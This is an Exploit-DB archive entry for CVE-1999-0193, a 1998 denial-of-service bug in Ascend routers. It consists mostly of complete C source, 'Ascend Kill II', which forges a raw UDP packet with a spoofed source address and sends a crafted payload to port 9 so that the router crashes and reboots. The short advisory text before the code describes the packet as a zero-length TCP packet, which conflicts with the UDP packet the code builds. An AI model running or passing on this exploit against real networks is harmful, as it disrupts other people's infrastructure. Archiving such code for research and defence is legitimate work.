Ascend R 4.5 Ci12 - Denial of Service Vulnerability 1

1998-03-16T00:00:00
ID EDB-ID:20331
Type exploitdb
Reporter Rootshell
Modified 1998-03-16T00:00:00

Description

Ascend R 4.5 Ci12 Denial of Service Vulnerability (1). CVE-1999-0193. Dos exploit for hardware platform

                                        
                                            source: http://www.securityfocus.com/bid/1855/info

A vulnerability exists in the operating system of some Ascend routers. If an invalid TCP packet (of zero length) is sent to the administration port of Ascend Routers 4.5Ci12 or earlier, the result will be a crash and reboot of the attacked router, accomplishing a denial of service attack.

Note that 3Com is reportedly also vulnerable, but it is not verified which versions of IOS are exploitable.


                    /* Update, 3/20/98: Ascend has released 5.0Ap46 which corrects this bug.
                     * see ftp.ascend.com.
                     */
                     
                    /*
                     * Ascend Kill II - C version
                     *
                     * (C) 1998 Rootshell - http://www.rootshell.com/
                     *
                     * Released: 3/16/98
                     *
                     * Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
                     * (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
                     *
                     * Sends a specially constructed UDP packet on the discard port (9)
                     * which cause Ascend routers to reboot.  (Warning! Ascend routers will
                     * process these if they are broadcast packets.)
                     *
                     * Compiled under RedHat 5.0 with glibc.
                     *
                     * NOTE: This program is NOT to be used for malicous purposes.  This is
                     *       intenteded for educational purposes only.  By using this program
                     *       you agree to use this for lawfull purposes ONLY.
                     *
                     * It is worth mentioning that Ascend has known about this bug for quite
                     * some time.
                     *
                     * Fix:
                     *
                     * Filter inbound UDP on port 9.
                     *
                     */

                    #include <stdio.h>
                    #include <stdlib.h>
                    #include <string.h>
                    #include <unistd.h>
                    #include <sys/types.h>
                    #include <sys/socket.h>
                    #include <netinet/in.h>
                    #include <netinet/in_systm.h>
                    #include <netinet/ip.h>
                    #include <linux/udp.h>
                    #include <netdb.h>

                    #define err(x) { fprintf(stderr, x); exit(1); }
                    #define errs(x, y) { fprintf(stderr, x, y); exit(1); }

                    /* This magic packet was taken from the Java Configurator */
                    char ascend_data[] =
                      {
                        0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
                        0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                        0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
                        0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
                        0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
                        0x50, 0x41, 0x53, 0x53};


                    unsigned short 
                    in_cksum (addr, len)
                         u_short *addr;
                         int len;
                    {
                      register int nleft = len;
                      register u_short *w = addr;
                      register int sum = 0;
                      u_short answer = 0;

                      while (nleft > 1)
                        {
                          sum += *w++;
                          nleft -= 2;
                        }
                      if (nleft == 1)
                        {
                          *(u_char *) (&answer) = *(u_char *) w;
                          sum += answer;
                        }

                      sum = (sum >> 16) + (sum & 0xffff);
                      sum += (sum >> 16);
                      answer = ~sum;
                      return (answer);
                    }

                    int 
                    sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
                         struct sockaddr_in *sin;
                         unsigned short int s, datalen, sport, dport;
                         unsigned long int saddr, daddr;
                         char *data;
                    {
                      struct iphdr ip;
                      struct udphdr udp;
                      static char packet[8192];
                      char crashme[500];
                      int i;

                      ip.ihl = 5;
                      ip.version = 4;
                      ip.tos = rand () % 100;;
                      ip.tot_len = htons (28 + datalen);
                      ip.id = htons (31337 + (rand () % 100));
                      ip.frag_off = 0;
                      ip.ttl = 255;
                      ip.protocol = IPPROTO_UDP;
                      ip.check = 0;
                      ip.saddr = saddr;
                      ip.daddr = daddr;
                      ip.check = in_cksum ((char *) &ip, sizeof (ip));
                      udp.source = htons (sport);
                      udp.dest = htons (dport);
                      udp.len = htons (8 + datalen);
                      udp.check = (short) 0;
                      memcpy (packet, (char *) &ip, sizeof (ip));
                      memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
                      memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
                      /* Append random garbage to the packet, without this the router
                         will think this is a valid probe packet and reply. */
                      for (i = 0; i < 500; i++)
                        crashme[i] = rand () % 255;
                      memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
                      return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
                                      (struct sockaddr *) sin, sizeof (struct sockaddr_in)));
                    }

                    unsigned int 
                    lookup (host)
                         char *host;
                    {
                      unsigned int addr;
                      struct hostent *he;

                      addr = inet_addr (host);
                      if (addr == -1)
                        {
                          he = gethostbyname (host);
                          if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
                            return 0;

                          bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
                        }
                      return (addr);
                    }

                    void
                    main (argc, argv)
                         int argc;
                         char **argv;
                    {
                      unsigned int saddr, daddr;
                      struct sockaddr_in sin;
                      int s, i;

                      if (argc != 3)
                        errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]);

                      if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
                        err ("Unable to open raw socket.\n");
                      if (!(saddr = lookup (argv[1])))
                        err ("Unable to lookup source address.\n");
                      if (!(daddr = lookup (argv[2])))
                        err ("Unable to lookup destination address.\n");
                      sin.sin_family = AF_INET;
                      sin.sin_port = 9;
                      sin.sin_addr.s_addr = daddr;
                      if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1)
                        {
                          perror ("sendpkt_udp");
                          err ("Error sending the UDP packet.\n");
                        }
                    }